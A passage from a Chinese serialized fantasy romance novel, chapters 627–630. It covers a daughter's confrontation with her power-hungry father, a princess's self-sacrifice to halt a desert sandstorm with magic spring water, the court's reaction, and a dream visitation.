怀里正抱着一个小婴儿,将其如视珍宝般疼爱呵护的老太太身上。 龙恩意识到她的关注后,亦追随其目光望了过去。 兰香眼神恋恋不舍地远远凝视着那个被岁月的风霜,无情雕刻而成的模样。 若不是情非得已,若不是真的走投无路,别无一丝办法,她怎么都不会舍得与她分开。 于是缓缓道:“那是我的外婆,她是唯一与我娘,我们三人一起相依为命的人。我娘这辈子有眼无珠,爱上了一个不该爱的人,等了一个不值得等的负心汉。娘临终之前,只道,那个人间四月天,再也回不来了。” 龙恩听了兰香的这番话,顿陷入对昔日的回忆里,一时间心里百感交集。 可转眼,兰香忽然提高了声音愤愤地道:“这一切的一切,只因为你的出现,你才是我们三人一切痛苦的根源。可为什么你却可以好好的活着,外婆她做错了什么?要受尽世人冷眼,娘年纪轻轻,便就香消玉殒;我又犯了什么错,要尝尽这人间非人般的地狱生活……” 回忆过往,兰香终是再也说不下去了,泪水瞬间夺眶而出,背对着龙恩悄悄抹起泪来。 就在这时,龙恩亦开口深情诉说道:“其实你娘……淑兰……她才是我这辈子唯一真心爱过的女人。我知道,余生无论我做什么,都已经无法再弥补我对你们所犯下的错,可你能不能再给我一个机会,我一定……” 岂料话尚还未说完,兰香便当即开口将其喝声制止:“你住口,不许你再提我娘的名字。从你口中听到我娘的名字,本就是对她的一种侮辱。既然你真的这么想赎罪,那我便答应你!” 龙恩一听,瞬觉难以置信,赶忙激动地道:“你真的愿意给我一次机会?” 第六百二十七章:是在替他担心吗? “你真的愿意再给我一次机会?” 兰香当然不愿意。 如果不是情非得已,如果不是自己命不久矣,实在没有办法再继续照顾,她在这个世上唯一仅剩下的最不放心亦是最亲的人。 这辈子,她都不想再看见眼前这个凉薄的男人。 可现在,她只能忍着无比的心疼,却又无奈地凝视着外婆,徐徐说起。 “余生,答应我,替我和我娘好好赡养,守护外婆。如此,或许我会考虑一下减少些对你的恨!” 龙恩一听,有些疑惑地说:“替你?为什么是替你,而不是我们一起来守护她?” 兰香顿看向她的脸,扬声怒道:“不要废话,就说你答不答应,能不能做到?这是你欠我和我娘的!” 龙恩遂朝其眼睛怔了一下,继而高昂起头来,信誓旦旦地道:“这有何难?不要说你的外婆,即便就是你,我也一并定会让你们婆孙俩在以后的日子里呼风唤雨,想要什么,便就有什么。咱们的泼天富贵,无上尊荣,马上就要来了。” 对于这样的大话,兰香心里似是早有所料。 或许,曾经他亦正是这样无数次承诺过她娘许多许多,可终了,都还是一一落了空。 一念至此,兰香遂冷冷地笑了一阵。 继而,不屑一顾地说:“哼,什么狗屁泼天富贵,骗了我娘还不够,又想继续骗我不成?我只希望,外婆余下的日子里不缺衣,不少食,能有一隅安身之所,安稳度日便可,再别无他求。” 龙恩却是不以为然地高调论述着:“想我堂堂七尺男儿,在这世上走一遭,怎能甘愿平庸无为,总要做些轰轰烈烈的大事。” 兰香一听,其明显话里有话,便问道:“大事?什么大事?骁龙会不是已经解散了吗?你又在做什么?” 龙恩看着兰香的眼睛,对其认真的说:“兰香,你听我说,这次我是认真的。我说的亦都是真的,绝对没有欺骗你。想必你也听说过,西秦守护者吧?” 兰香惊谔地道:“什么?西秦守护者?” 龙恩点点头,肯定地道:“对,正是西秦守护者!你应该亦听说过,西秦守护者拥有一股神秘的力量,而得此力量者,可得天下……” 刹那间。 宛若一道惊雷闪过头顶,兰香难以置信地看着龙恩的脸,说:“你……你竟然胆敢觊觎这西秦国主子的位置?” 龙恩却是狼子野心地道:“何止?我龙恩的前半生受尽屈辱,如今又怎会仅仅只觊觎这八百里西秦之主,我要的,是这整片灵空大陆……” 兰香听了惊呆了,问他:“你是不是疯啦?” 龙恩却伸手按住了兰香的肩头,对其郑重承诺了起来。 说:“兰香,就原谅我这一次吧,我一定会好好弥补以前对你娘所属犯下的过错。以后你就乖乖呆在我的身边,我要你亲眼看着我是如何一步步登上那个位置,让你成为这个世界上最尊贵的女人。待我们拥有了这整个天下,以前欺负我们的那些人,我一定要让他们付出足够沉痛的代价!” 不要说自己如今已然是个将死之人,即便就是不死,她也从来都不敢想象,会有龙恩口中所说的这一天。 看着他在自己的眼前嘴巴一张一合,还似一副满腹胸有成竹的模样,兰香早已听不进去他究竟在说什么。 她怎么都没有想到,在龙恩的心里,竟然藏着如此之大逆不道的一个计划。 终于,她彻底听不下去了。 大力地一把甩开了龙恩的手对自己的束缚,朝他说:“不,你这是心术不正,大逆不道,这个天下,不是你能担得了的!” 龙恩一听,顿换了一副嘴脸,扬起声来,愤愤不平地道:“担当这个天下,就连如今宫里的那个到处皆是一片天怒人怨的冒牌璟帝尚都能为,为何我不能?” “你这话是什么意思?什么是冒牌的?璟帝……你是说……当今宫里的皇上,是假的?” 兰香慢慢梳理龙恩这些话里的信息,最后终于明白了过来。 可仍然还是不敢相信,连忙追问说:“你所说的这些从来都不为人知的惊天秘密,都是从哪里得来的?” 龙恩一气之下,竟脱口而出:“当今宫里的太……” 可话刚一出口,便意识到自己的失言,于是赶忙眼神躲闪着,道:“这些你都不必过问,总之,我说他是假的,他便就是假的。” 兰香见他忽然变得如此神秘起来,心下里想了想。 看他如此有眉有眼,并不像是空穴来风,想必他所说,真的有几分真实也未尝不可。没想到,龙恩竟然在宫里有如此权势地位神秘的眼线。 于是心里默默推测着:“如果宫里的皇上当真是假的,那如今的真命天子,便就只剩下先皇遗留在世的唯一皇子,秦王殿下了!皇天保佑,先皇庇护,若是真能推翻璟帝令万民于水深火热之中的统治,而改立新皇,秦王殿下定是一位不可多得的明君,实乃万民之幸!” 于是,她开口说道:“即便现在的皇上不是真的,你也到不了那个位置,真龙天子依旧不会是你。因为史上从来就没有一个心术不正的人,会赢得民心,统领万民,更不会终了有什么好的结果。即便现在的皇上是假的,但你别忘了,先帝还有秦王殿下呢!” 龙恩听了,却是不屑一顾地说:“秦王轩辕翰,他算是个什么东西?左不过一庶妃所出的黄口小儿而已,最多会两下子舞刀弄枪的小伎俩,何足为惧?” 兰香却是无比骄傲自豪地道:“秦王殿下骁勇善战,在战场上,每每都令敌人闻风丧胆,被世人称作无人能敌的灵空战神。殿下他爱民如子,盛名在外,如今的王妃娘娘,更是与秦王殿下伉俪情深,同心同德,为民造福。仅就看这眼下,他们在觻县所做之事,乃是造福一方,恩泽千秋之大业,你又如何能与他们相比?” 顿了顿,复又教训起龙恩说:“治国之道,未必只有武力与权势便能解决一切。难道,上次在骁龙会,殿下带人彻底捣毁了你的巢穴,给你的教训还不够吗?” 终于,兰香的这番话彻底激怒了龙恩,掀开了他旧日的伤疤,甚至还在他至今都尚还在隐隐作痛的伤口处撒了把盐。 龙恩紧紧地咬着牙关听着,终于再也忍不住大声训斥她:“我对你一忍再忍,究竟是谁给你的胆量,竟敢如此挑衅地与我说话?” 兰香可是一点儿都不害怕他,迎上他被自己气的通红的眼睛,说:“怎么?是我说的话哪里有问题吗?秦王殿下实乃庶妃所出又怎样?敢问你又是来自哪位正宫娘娘的高贵血统呢?” 龙恩气的似是整个人都在发抖,一双愤怒的拳头握的越来越紧。 兰香依然丝毫不知收敛地说着:“我今天所说的每一句话都是大实话,只不过是你自己一意孤行,想要逆天而为。你若还是执意如此下去,必将自取灭亡!” 刹那间,只闻颇为响亮“啪!”的一声。 终于,龙恩抬起手来将一记重重的耳光甩在了兰香的脸上。 兰香忙附手上去,将瞬间落在自己半边脸上的红色五指山印遮住,同时亦紧紧闭起了嘴巴,怒瞪着他。 原本,在她的心里,只以为龙恩只是有点坏而已,如今怎么都没想到,他竟连造反的野心都敢起了。 不,看他那架势,像是不止在蓄谋,不知道他如今究竟已经进行到哪一步了…… 既然如此,她又怎么能将自己最放心不下的外婆,放心交到这样的亡命之徒手里。 天下大事,自是与她如此这般一个平凡普通的不能再平凡普通的弱女子有何干系? 她一点儿都不在乎。 可为什么,知道他要做如此危险的事情,她的心里,会隐隐升起一丝着急呢?是在替他担心吗? 又或者,只是担心自己的外婆,在自己走后,无人照料! 而在龙恩此刻比她更加复杂的心里,他刚刚还满心欢喜着。 难得兰香千里迢迢肯主动来找自己,即便不是因为她本人的事,至少父女俩在渐渐往好的一面发展,开始真正沟通了起来。 可一转眼,他却又实在难以自控地亲自动手打破了这份俩人刚刚建立起的一点点儿信任。 而在他扬起手来的那一瞬间,他的心里其实便就已经后悔了…… 就在这时,兰香外婆看到自己的孙女在角落里被人欺负,跌跌撞撞地跨越人海,朝俩人身旁赶了过来。 “你是什么人?为什么欺负我孙女?你这个坏人?这个坏人,坏人……” 说着,便弯腰下去捡拾起地上落着的一根驱赶牛羊的鞭子,攥起来直接朝龙恩的身上胡乱抽了过去。 “外婆,住手!快住手!” 兰香这才紧忙回过神来,将其手里的鞭子一把抢了过去,拉着外婆朝燕儿身旁回去。 此刻,外面的世界。 暴风携带者尘土滚滚向前,一条条黄色的巨龙疯狂的卷起,巨大的沙浪不断翻腾,仿佛要将整个世界吞噬。 沙浪里,时不时还现出道道闪电…… 第六百二十八章:真的很喜欢 暴风携带着尘土滚滚向前,一条条黄色的巨龙疯狂的卷起,巨大的沙浪不断翻腾,仿佛要将整个世界都吞噬。 沙浪里,时不时还现出着道道闪电…… 刚踏入大漠中的轩辕翰一行人等,在距离前方不远处迎面而来的沙浪冲击下几乎寸步难行。 然所有追随者却始终如初般信念坚定,无一人退缩。 忽然,卫宁隐隐似是听到了一个人的呼喊声。 可仔细看看周围,却是什么都看不见,于是心里有些疑惑地道:“殿下,你有没有听到什么声音?” 轩辕翰仔细一听,似是什么都没听到,便问他:“什么声音?” 就在两人驻足停留,相互对视的瞬间,忽然再次传来那阵呼声。 明明耳畔一直都只有沙粒与暴风相互撞击,所发出的巨大响声,可这一声,却显得格外的清晰。 “秦王殿下,你们在哪儿呢?不要再继续向前走了,沙暴已经到来了,快回来,都回来……” 至此,两人不约而同地发出一阵惊叫声。 “是云儿……” “是王妃娘娘……” “那咱们现在该怎么办?”顿了顿,卫宁朝其请示道。 轩辕翰霎时间变得紧张了起来:“她怎么跟来了?” 卫宁想了想,说:“王妃娘娘定是担心殿下在荒漠中遇到危险,所以才不放心地跟来了。” 轩辕翰仿佛有些不敢相信自己的耳朵,遂接着又仔细的侧耳去听了一阵儿。 一时间,却再也没能听到自己熟悉的那个声音。 于是,心里纳闷地道:“难不成,因为本王这一路上心里最放心不下的便是她。所以想着想着,本王便幻听了。” 他朝着前面的路看了看,坚定地再次下令说:“继续前进。” 一队人马复又步履坚定地向着沙浪滚滚而来的方向迈进。 可没走出几步,那阵呼喊声便又再次清晰无比地传来:“秦王殿下,不要再走了,快点儿回头,沙暴已然来了,不要再做此无谓的牺牲。” “真的是她!” “听这声音,仿佛就在耳边不远处一般,距离如此之近,难不成,她真的也进到了大漠里来。” 闻声,再次驻足下来思虑再三,轩辕翰终于做出了最后的决定:“速速回头给本王把王妃先找到!” 众人紧紧追随。 而大漠的另一边。 衣上云的脸上遮着一条白色的面巾,脚步一深一浅极不容易地往前一边走,一边撑起双手来,几乎用尽了全身的力气,向着前方呐喊着。 “殿下,你在哪里?你到底在哪里?” “殿下,不要再走了……” “殿下,你快回来……” “沙暴来了,不能再往前了……” “殿下,快回来,云儿好害怕,云儿真的好害怕……” “都是云儿的错,云儿不该告诉殿下关于大漠里的那股神泉之水,将殿下置于如此危险之境地。” “云儿错了,我错了。” “求求你,快回到云儿身边来。” “殿下,殿下……” 她只身一个人已经在茫茫大漠里走了太久太久,亦找寻了许久许久…… 然始终都不见有轩辕翰的人马经过,所留下的一丝丝痕迹。 在这暗无天日,唯独只有狂风巨浪携着沙砾不断翻滚的世界里,又有什么还能留下些许痕迹…… 她甚至已经不敢相信,却又不能不信,是不是自己已经来晚了,会不会轩辕翰已经遭遇了什么伤害。 一念至此,她扑通一下跌坐在地上,无力极了地抱头痛哭起来:“对不起,殿下,真的对不起……” 可转瞬,她又很快调整自己的情绪,重新燃起希望来。 用力地摇了摇头,拒绝接受自己刚刚的想法:“不,不会的,殿下他是不会就这么丢下我的,绝对不会。” “殿下是天下百姓的殿下,是天下百姓的福气,是天下众生的希望,是上天赐予百姓的守护神,自有上苍在庇护,他绝不会如此轻易便就会遭遇不测。” 一念起,她赶忙抹干了眼泪,终于再次打起精神站了起来,朝前继续寻去。 “云儿……” “王妃娘娘……” “殿下,你在哪儿……” 一时间,大漠里,和着风沙响起了各种呼叫声来。 不知过了多久,卫宁心里纳闷地道:“为何王妃娘娘的声音明明就回荡在耳边,却就是不见她的人呢?” 轩辕翰着急地用手想要拨开眼前无边无际的昏黄世界,让自己看得更清楚些。 然却怎么越想拨开,眼前越是混沌一片。 另一头的衣上云的处境,也好不到哪里去。 “为什么,为什么我明明听到了殿下的声音,还有众将士都在呼唤我,可就是寻不见他们!” 在这人人都身陷困境,周围到处皆是一片昏黄,漫天飞沙的世界里。 他们只能依靠着对方所发出来的声音,尚还要借着狂风呼啸难得喘息的那一瞬间,方才能听到彼此的召唤,来辨别彼此的方向位置。 仿佛所有一切,都陷入到一片谜团之中。 直到轩辕翰追随着偶尔传入到耳边的衣上云的声音,一路步步后退。 直到眼前,忽然现出一雕刻着鲜红的两个字“觻县”,冰冷而又神圣的边界石碑。 卫宁急忙跑过去查看了一番,难以置信惊诧地道:“殿下,我们已经退出了大漠,又回到觻县了!” 轩辕翰眉头紧了紧,心想:“好不容易深入到大漠之中,如今又怎的神不知,鬼不觉地回到了原地!可眼下,怎么还是不见她的影子。” 此刻,他心里显然已经后悔极了。遂驻足停留在原地,朝四周张望着。 “这一幕,似曾相识。本王早就该料到,她绝对不会乖乖在那里等着本王回来。早知觻县一行会如此险而又险,当初说什么都不该让她来。” 然就在这时。 在轩辕翰的身后,忽然现出一条看似有百余丈高的砂砾黄龙,呼啸着滚滚而来。 那气势,看似要席卷吸取这整个空间万物。 “不……殿下……殿下……”卫宁一看到其身后的庞然大物,顿瞪大了眼睛朝其怔愣住,惊的连话都说不出来了。 一时间,看到卫宁吃惊的脸,所有人都回过头朝其望去,瞬间都惊呆了。 受其逼迫,一众人等不得不再次后退起来。 眼看着,那条快速旋转奔腾向前的巨龙即将所有人俱都卷入那道沙墙中时。 忽然传出衣上云的声音:“殿下小心……” 霎那间,不知哪里来的一瞬间清晰。 “真的是她!” 轩辕翰这才侧过脸去,看到衣上云竟就站在距离自己身旁不足三丈的位置。 众人亦是朝其大声齐呼:“王妃娘娘……” 衣上云亦侧过身去对众人嫣然一笑,庆幸极了地说:“我终于找到你们了,谢天谢地,你们都还好好的。” 说完这句话,便抬起脚步来渐渐向那道沙墙靠了过去。 见她只身朝着黄龙迎了上去,瘦弱单薄的小小身躯被飓风吹得似是都快将其撕裂开来。 轩辕翰亦反转脚步惊恐地追了出去:“云儿不要,快回来!” 其身后的将士们见了,亦是阻止轩辕翰道:“殿下不可再靠近!” 在面临这场如此巨大的灾难面前,衣上云面不改色,心间毫无一丝犹豫。 “殿下,是不是我告诉你魏明轩是谁,我们便就会回到与从前一样,彼此毫无猜忌?” 衣上云转身对着轩辕翰笑了笑,说。 “不……不要……你想做什么?” 轩辕翰心里只隐隐感觉她要有什么动作,连连对其摇头试图阻止她。 衣上云深吸了口气,下定决心说:“殿下,我决定了,只要这次云儿有命回来。我发誓,我一定会告诉你魏明轩究竟是谁的?” 轩辕翰见她此时明显有些不对劲,心里着急极了。 “不……你要做什么?无论你想做什么,本王都不允许。本王根本不在乎那个叫魏明轩的人。本王心里所在乎的,只不过你一人而已。本王不许你做傻事,你回来,快回来本王的身边!” 轩辕翰一边说,一边对其伸出了双手去,想要将她牢牢抓住。 然衣上云的脚步却始终都没有半分想要停留的意思,依旧渐渐后退着。 她对轩辕翰温柔地笑了笑,继而垂首下去将一只手轻抚在自己的腹部,说:“孩子,别怕,这次,我一定会护好你!” “云儿,听话,快点过来本王的身边,把手给我……”轩辕翰小心翼翼地朝其靠近着。 只见衣上云缓缓从身上不知掏出了个什么东西,一手将其举了起来。 轩辕翰定睛仔细一看,竟是那支玉色瓷瓶。 衣上云保持着一手轻抚在自己的腹部,另一手举起瓷瓶来。 同时,嘴里碎碎念着:“山不在高,有仙则名。水不在深,有龙则灵。是这样吗?如此,我一定能帮助殿下守护觻县,我也应该能……守护下一任守护者后人的,对吗?希望我没有理解错你这句话的意思。” “山不在高,有仙则名。水不在深,有龙则灵。云儿你到底在说些什么?” 轩辕翰隐隐听到她口中的这番喃喃细语,不解地问。 “殿下,谢谢你来到我的世界,谢谢你的喜欢,陪我走了人生中最幸福难忘的一段日子。云儿想要告诉殿下,云儿真的很喜欢殿下,真的很喜欢……” 话一说完,霎时间,那条百丈黄龙便携着排山倒海般的层层沙墙朝着衣上云呼啸袭去…… 第六百二十九章:尘归尘,土归土 衣上云瞬间便被觻县这场从未如此强烈的沙暴吸了进去,彻底吞噬。 “不要……”轩辕翰着急地伸手去拉,却是最后什么都没有抓住。 他愣愣地站在原地,一点儿也不愿相信自己的眼睛。 更无法接受,方才刚刚还好端端地站在自己面前的人,怎么突然就消失不见了。 他几近绝望地注视着眼前的滚滚沙帐,铺天盖地汹涌而来,笼罩了周围整个世界。 那由粗的、细的沙粒构成的巨大“天幕”,刹那间挡住了他全部的视线。 所有追随将士亲眼看着衣上云瞬间被那黄龙吞没,俱都惊呆了。 卫宁眼看着愈来愈大作而起的飓风,筑成气势惊人的一排排黄龙,在空中继续盘旋,似是都还在悄悄酝酿,使其变得愈来愈高。 于是紧忙顿回过神来,快步上前去,拉起轩辕翰的臂膀便欲朝后退去:“殿下,赶快离开这里!再不走就来不及了!” “不……本王不能将她一个人落在这里,本王说过要亲自接她回家的。”轩辕翰稳稳站住脚跟,丝毫不被其所撼动。 卫宁看着已然近在咫尺的飓风沙浪,着急地劝说道:“殿下务必要清醒一点儿,王妃娘娘已经被沙暴所吞噬,殿下若还不赶快离开,亦会将被其所伤,殿下理应速速离开才是!” “不,本王要在此等云儿,本王不要离开,亦不能离开……” 无论卫宁心里有多么着急,亦或怎么劝,轩辕翰始终却只自顾自目不转睛地盯视着眼前的沙墙。 似是隐隐在观察寻觅,计划着些什么。 遂命令身后众将士:“众将士听令,所有人立即朝安全地带撤退。” 岂料将士们却无一丝迟疑,闻声朝其纷纷下跪,齐声高呼道:“王军各个铮铮铁骨,无论何时何地,怎可弃主保命?殿下在哪儿,属下便在哪儿,属下誓死追随秦王殿下!” 轩辕翰顿回过头瞪了他们一眼,本想训斥其一番:“究竟是谁给你们的胆子,竟敢违抗本王的……” 但见身后人人灰头土脸,早已分辨不清哪个是哪个? 却是各个一脸坚定,就连眼睛都不曾眨一下,瞬间竟也拿他们没了办法。 这时,卫宁显然亦已完全放弃了劝说,开口道:“既然殿下执意不愿离开,属下们,自是不会把殿下您一人落在这里的。身后便是觻县,我八百里西秦大地不可分割的一部分。这场终将到来的灭顶之灾,既然逃不掉,那就索性让我们一起面对吧!誓死守护觻县!” “誓死守护觻县!” “誓死守护觻县!” “誓死守护觻县!” …… 众人纷纷倏地站起身来,挥舞起手里的佩剑跟随。 说着,卫宁便带领众将士抽出了腰间的佩剑,往前紧了两步,护在了轩辕翰的身前,做好抵挡之势。 轩辕翰心中顿觉倍感震惊,回头再次看了一眼界碑上雕刻的两个字“觻县”。 “没错,身后便就是觻县,我西秦大地神圣不可分割的一部分。” “云儿,本王不相信,不相信这一世,你就这样离开本王了!” “不……这一定是幻觉,你一定是又再次迷失在这片荒漠里了是不是?” “是不是……如果穿越了这道沙墙,本王便就能寻到你了?” “一定是……一定是这样。” “云儿,不要怕,本王马上就来找你!等着本王……” 说着,所有人便开始一起积聚力量,欲朝面前衣上云被卷入的那道,似是已经彻底沸腾了的沙墙亲迎上去。 就在此时。 衣上云忽然竟从那条百丈黄龙的身体中再次现身了出来。 整个人仿佛失重了一般,被其缓缓推举起来。 继而越升越高,最后,她稳稳地站立在那黄龙的顶端,低头俯瞰着地上一个个渺小的身躯。 将目光最后停留在轩辕翰的身上,不想他为了自己,竟然连大自然的力量都无所畏惧。 这可是觻县史无前例的飓风沙暴,其力量足以不必费吹灰之力,便能将整个觻县夷为平地。 一念至此,她心疼极了地看着他所在的位置,默默地说道:“殿下,你这又是何必呢?为何那样地不爱惜自己,如此这般地傻?” 她想要大声地呼唤他,告诉他,她还活着,让他赶快带人回头,自己逃命去。 可此时耳旁响起的飓风声,夹杂着沙粒互相碰撞发出的的巨大声音,仿佛就连自己都听不到自己的呼声。 更何况是脚下距离自己百丈之遥的轩辕翰。 一时间里,她急的眼泪都流了下来。 遂将目光深深地注视在了自己手中的那只玉色瓷瓶上。 为今之计,她只有将所有的希望都寄托在手中的这支瓷瓶里,所盛着的唯一所剩不多的神泉之水上。 一念至此,她吸了吸鼻子。 缓缓闭起眼睛来,让自己气定丹田,嘴里复又默默念了起来:“山不在高,有仙则名。水不在深,有龙则灵。” “为了殿下心中所愿,为了这片大陆的安宁,为了西秦国泰民安,为了觻县百姓们自此以后能够脱离苦海,永不再受沙暴之苦。” “我愿意,以我的性命,来换取这一切。” 说完,便一倾斜,将手里玉色瓷瓶中的神泉之水,洒向了脚下正在快速向前奔腾不息,吞噬着所经过之处,所有一切的巨大沙墙。 同时,在她手腕上套着的那只七彩金丝彩玉镯子,亦忽然变得一闪一闪了起来。 渐渐地,似是还在抽出一道道紫色的光芒来。 很快,那道道紫色的光芒汇聚力量,便将衣上云的整个人都围绕了起来。 脚下。 眼看着排山倒海般的沙墙汹涌澎湃,就要向众人拍来,大家俱都毫无一点力量抵抗。 只能本能般惊恐地伸出一只胳膊去,挡住自己的脸。 就在所有人都以为自己也即将就要被沙浪卷走,而放弃挣扎时,那巨大的沙墙竟忽然停下了呼啸前行的脚步来。 “发生了什么?” “沙暴怎么停下来了?” “这到底是怎么回事?” …… 看到自己心中所预料的节奏并未发生,将士们缓缓睁开了自己的眼睛。 看着这般气势逼人,从未如此接近,仿佛就在距离自己一步之遥的面前原地打转着的道道沙墙。 而轩辕翰则沿着沙墙向上,第一个看到了顶端衣上云的身影。 一时间,心里又惊又喜。 待一回过神来,便朝着那条似是依然很高很高在盘旋着的黄龙,激动地道:“云儿……真的是你!你真的还活着?!本王就知道,我们一起经历了那么多苦难,好不容易才走到一起,你定不会这么狠心,丢下本王一个人的!” 顿了顿,继续说:“云儿,你回来,你快回来,本王错了,本王真的错了,本王再也不想知道魏明轩究竟是谁了?本王只要你平平安安地回到本王的身边,足矣!” 可无论他怎么说,亦或说些什么?他却久久始终都不见衣上云回应自己。 闻声,身旁众人皆都一起朝其所注视的方向看了过去。 却忽然发现,眼前那层层沙墙似是竟在渐渐回落了起来。 众人对此惊讶不已。 “飓风在减小。” “沙墙在降低。” “这是……沙暴在消退。” “难不成,这场灾难就这样结束了?!” “觻县真的守住了?!” …… 只不过须臾,这场来势汹汹的特大飓风沙暴竟就真的最后化作一股灰尘散开,彻底消失不见了。 烟雾散去,尘归尘,土归土,头顶的天空很快亦再次变得明亮了起来。 甚至比以前的任何时候都要更加地蓝,更加纯净。 可却唯独再也不见了衣上云的身影。 她仿佛一股灵气所幻化,又随着烟雾缭绕飘向了这片世界的每一个角落。 轩辕翰此刻早已心惊胆战地似是都在发抖,见此一下子瘫坐在地上。 望着眼前广袤天地里再次恢复宁静空旷的原野,撕心裂肺的呐喊道:“云儿……不要走……回到本王身边来!” 众将士看见,一齐朝其身边围了过去:“殿下……” 此时。 地下避难所里的石门也终于被人打了开来。 觻县百姓们亦在沙暴退去后,俱都从避难所里一个个相互扶持着走了出来。 看到这场沙暴就这样尚还未开始,便就已结束。 远处,忽然隐隐约约地现出一个人影来。 人群里,有人眼疾手快地叫了一声:“那是老族长!” 于是,紧接着众人便纷纷议论。 “老族长……” “老族长还活着,真的还活着……” “这可真是太好了!” 待其距离人群愈来愈近,人们纷纷朝其身边拥了过去。 老族长心情无比激动地告诉大家。 “守住了,守住了……” “咱们的防护林守住了……” “草场也守住了……” “家园一切都在……” “觻县守住了……” “真的守住了!” 得知衣上云带领着他们所修建的防护林和草场皆都完好无损,没有一点点损失,俱都高兴地手舞足蹈了起来。 第六百三十章:还天下以明君 远远地,看到轩辕翰风尘仆仆地带领一众将士们终于回来,燕儿与兰香穿越人群,着急地朝其奔跑了过去。 到其面前,燕儿刚一朝其屈膝行礼:“秦王殿下。” 紧接着,便就忙伸长了脖子,朝其身后所有人俱都仔细查看了一番,却并未见到自己熟悉的身影。 心里顿时担心极了地问:“秦王殿下,我家小姐呢?你可曾遇到我家小姐。你刚刚离开没多久,我家小姐不放心,便就追着寻你去了。” 显然,轩辕翰直到现在仍然不能接受,衣上云已然已经遇险,离开了自己的事实。 沙暴过后,他带人寻遍了整个大漠,亦不见衣上云的任何痕迹。 于是,面对燕儿的询问,他于心不忍,欲言又止地说:“云儿……她……” 卫宁见其至今都颇难接受此事实,于是便抢过他的话。 对燕儿说:“燕儿,你不要太难过了。在大漠里,我们的确遇到了王妃娘娘。而且,也是在王妃娘娘的阻止下,我们才没能继续深入到沙暴中心。可是……娘娘……最后……娘娘她……她被沙暴……” 未及其将话说完,燕儿的眼中早已溢满了泪水。 瞬间如同一个拨浪鼓似的,拼命摇晃着自己的脑袋,拒绝接受道:“不可能,这绝对不可能,你们在骗我,你们一定是在骗我。既然你们已经与小姐遇见,有你们在,有秦王殿下在,我家小姐就绝对不会有事的,你们怎么可能眼睁睁看着她出事?小姐一定平平安安的,对不对?” 说着,无助极了地看着身旁兰香的脸。 兰香亦是扶着她,一脸茫然不知所措。 卫宁着急地向她解释道:“燕儿,你不要这样……那是一场从未有过的特强飓风沙暴,不是我们平日里上阵杀敌的战场之上,在它面前,我们实际上一点儿办法都没有。” 燕儿怎么都无法理解,遂将目光移动到平日里视她那小主人如自己性命一般的轩辕翰脸上。 朝其质问:“怎么会没有办法,如果真的没有办法,那你们怎么一个个都好好回来了呢?可我家小姐却……为什么偏偏只有我家小姐……” 燕儿显然难过地都已经说不下去了。 想起衣上云最后对自己所说的话,轩辕翰的心里后悔不已。 口中喃喃细语道:“都是本王的错,本王不该疑神疑鬼的怀疑她,她既然跟了本王,本王就该好好对她,什么魏明轩,他怎会有云儿的性命重要……这一切,都是本王一手造成的。” 终于,燕儿再也忍不住哭出了声来:“你还我我家小姐,把小姐还给我,还给我……” 兰香赶忙抱住她的肩膀,安慰她:“燕儿你冷静一点儿,冷静一点儿。” 轩辕翰看着她此时已然彻底崩溃的模样,他自己的心不亦早就碎了么? 发生在觻县这场如此惊人,乃至轰动了全国上下的奇迹般的事件,很快便传遍了整个西秦皇城的大街小巷。 皇宫里。 得知这场飓风沙暴并未将觻县夷为平地,璟帝勃然大怒。 “这到底是怎么回事?司天局不是笃定了这场来势汹汹的沙暴定会到达觻县的吗?又怎么会刚好到了觻县,便就消退去了?” 想一想,便气不打一处来:“还有那秦王,为何至今都还活的好好的?谁能同朕解释一下,这到底是为什么?” 面前冰冷的地板上,低低趴着,跪了一地的奴才与前来禀报的觻县官员,无一人敢抬起头来,各个都吓得一脸苍白,额头渗着冷汗,却不敢擦拭其分毫。 忽然,璟帝指着下面前来禀报的王充的一副将,问:“你……你来说……那个王充,他现在人在哪儿?为何此次前来禀报的是你,而不是他?” 其副将看起来倒是有些镇定,说:“启禀皇上,王将军,王将军他……以后再也来不了了!” 璟帝听了不解地问:“这话是什么意思?” 那副将道:“王将军他……他已经死了!是被暗藏在府里的刺客暗箭所伤!” “你说什么?王充……他死了?”璟帝顿感意外不已。 稍作思量,又气愤地下令说:“哼!他一人死了又怎样,还有他的家人,命人速速去将他的整个府邸都给朕抄了!” 副将阻止道:“不用了,王将军死后,王夫人亦追随其夫一道去了,其弟王胤心灰意冷,亦点着了一把火,将整个府邸都烧成了灰烬!王家已经彻底家破人亡了!” “什么?” 一时间,璟帝看着他的脸,惊呆了。 七日后。 西秦皇城一所僻静的院子里,簇簇丛丛的芭蕉绿了窗纱。 清澈的池水在皎白的月光映照下波光粼粼,一闪一闪地格外动人。 夜色中,一朵朵荷花亭亭玉立,幽静地散发着淡淡的芳香。 那香气诱人,好似少女新制的胭脂一般。 荷叶好似翡翠,在月光下泛着冷冷的光。 透过窗棂悄悄看进去,屋内一盏烛火惺忪。 衣上云正在榻上沉沉地睡着。 睡梦中。 那个一袭白衣的女子再次现出了身来。 “云儿,醒醒……” “云儿,醒醒……” 听到其召唤,衣上云的眼睛果然缓缓睁了开来。 “是你!” 一看到白衣女子正在温柔地看着自己,便一边起身,一边猜想着问:“我是不是已经死了?所以才又见到了你!” 白衣女子笑着摇了摇头,对她说:“我们的每次见面,只不过都是你的梦境中而已。可重要的是,真龙出海,灵空一统,凤凰涅盘,浴火重生,生既是死,死亦是生。” 衣上云听完后,默默地跟着重复了一次:“真龙出海,灵空一统,凤凰涅盘,浴火重生,生既是死,死亦是生。” 忽然似是想起了什么,顿有一些支离破碎的记忆片段从脑海中浮现,可若使劲儿一想,却又觉得脑袋实在疼痛难耐。 于是一边揉着自己的头,一边说道:“这句话,为什么我好像在哪里听过一般!” 未及其思量清楚,白衣女子称赞她:“云儿,你果然做到了,而且做的极好。你带领觻县百姓植树造林,抗击沙暴的精神着实感天动地。又得到了沙漠神泉的相助,这次彻底改变了这里的土质。以后随着时间的流逝,绿树很快将长成浓荫。若干个百年之内,觻县定不会再遭受沙暴的袭击,觻县百姓的日子,亦定会愈来愈好的……” 闻此,衣上云的心里总算是得到了些许安慰。 可想想除了觻县,还有更多的百姓生活在璟帝的淫威统治下,不禁再次眉头紧锁,忧郁了起来。 “只可惜,这并不能彻底解救所有的西秦子民!甚至,在这灵空大陆上的许多阴暗的角落里,兴许还有更多的人与觻县的百姓一样,正处于水深火热之中。” 白衣女子听了,深深吐了口浊气,道:“但这真的已经很好了……” 见她始终愁眉深锁,白衣女子继续问:“你……真的还不开心吗?真的想帮助天下苍生?” 衣上云毫不犹豫地问道:“请你告诉我,我要怎么做?” 